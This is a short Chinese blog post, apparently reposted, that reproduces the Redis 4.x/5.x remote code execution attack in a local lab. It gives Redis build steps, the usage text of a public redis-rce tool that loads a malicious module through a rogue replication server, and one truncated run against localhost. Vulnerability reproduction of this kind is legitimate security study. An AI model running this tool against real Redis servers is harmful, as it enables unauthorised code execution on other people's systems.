Redis 4.x 5.xRCE的傻瓜式复现
2019-07-09 21:12:15 Author: mp.weixin.qq.com(查看原文) 阅读量:66 收藏

前言

在车上无聊,突然看见redis出现的RCE,有大佬在github上方的poc,就用很卡的网在复现了一下,底层未知,先傻瓜式复现。

环境搭建

我的环境

root@localhost:~/redis-rce# uname -a
Linux localhost.localdomain 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
root@localhost:~/redis-rce#

源码安装 4.0.11版本

前提是需要gcc make

cd ~ 
wget download.redis.io/releases/redis-4.0.11.tar.gz
tar zxf redis-4.0.11.tar.gz 
cd redis-4.0.11 
make PREFIX=/usr/local/redis install 

中间可能回出错

在src目录下
make MALLOC=libc

具体可以看这两文档

https://blog.csdn.net/buyueliuying/article/details/82316517
https://blog.csdn.net/qq_16069927/article/details/82899025

启动的方式

/usr/local/redis/bin/redis-server 

验证安装成功的方式:

root@localhost:~# cd /usr/local/redis/bin
root@localhost:/usr/local/redis/bin# ls
redis-benchmark  redis-check-rdb  redis-sentinel
redis-check-aof  redis-cli        redis-server
root@localhost:/usr/local/redis/bin# ss -tanlp | grep redis
LISTEN   0         128               127.0.0.1:6379             0.0.0.0:*        users:(("redis-server",pid=23943,fd=6))

漏洞复现

需要用到大佬的工具

https://github.com/Ridter/redis-rce

工具集成化也比较高。可以拿来直接使用

参数说明如下:

usage: redis-rce.py [-h] -r RHOST [-p RPORT] -L LHOST [-P LPORT] [-f FILE]
                    [-a AUTH] [-v]

Redis 4.x/5.x RCE with RedisModules

optional arguments:
  -h, --help            show this help message and exit
  -r RHOST, --rhost RHOST
                        target host
  -p RPORT, --rport RPORT
                        target redis port, default 6379
  -L LHOST, --lhost LHOST
                        rogue server ip
  -P LPORT, --lport LPORT
                        rogue server listen port, default 21000
  -f FILE, --file FILE  RedisModules to load, default exp.so
  -a AUTH, --auth AUTH  redis password
  -v, --verbose         show more info

本地攻击测试

root@localhost:~/redis-rce# python redis-rce.py -r 127.0.0.1 -L 127.0.0.1 -f exp_lin.so

█▄▄▄▄ ▄███▄   ██▄   ▄█    ▄▄▄▄▄       █▄▄▄▄ ▄█▄    ▄███▄
█  ▄▀ █▀   ▀  █  █  ██   █     ▀▄     █  ▄▀ █▀ ▀▄  █▀   ▀
█▀▀▌  ██▄▄    █   █ ██ ▄  ▀▀▀▀▄       █▀▀▌  █   ▀  ██▄▄
█  █  █▄   ▄▀ █  █  ▐█  ▀▄▄▄▄▀        █  █  █▄  ▄▀ █▄   ▄▀
  █   ▀███▀   ███▀   ▐                  █   ▀███▀  ▀███▀
 ▀                                     ▀

[*] Connecting to  127.0.0.1:6379...
[*] Listening on 127.0.0.1:21000
[*] Sending SLAVEOF command to server
[+] Accepted connection from 127.0.0.1:45160
[*] Setting filename

后记

就是复现一下,关于漏洞的原理,后续分析,下车。。。。。。


文章来源: http://mp.weixin.qq.com/s?__biz=MzI0Nzc0NTcwOQ==&mid=2247484640&idx=1&sn=a251678753b68f0931a133c46c690473&chksm=e9aa1922dedd903484280f877b0c13782643af5ab840d2fc7f03e13315063cbdc5de4fb80c92#rd
如有侵权请联系:admin#unsafe.sh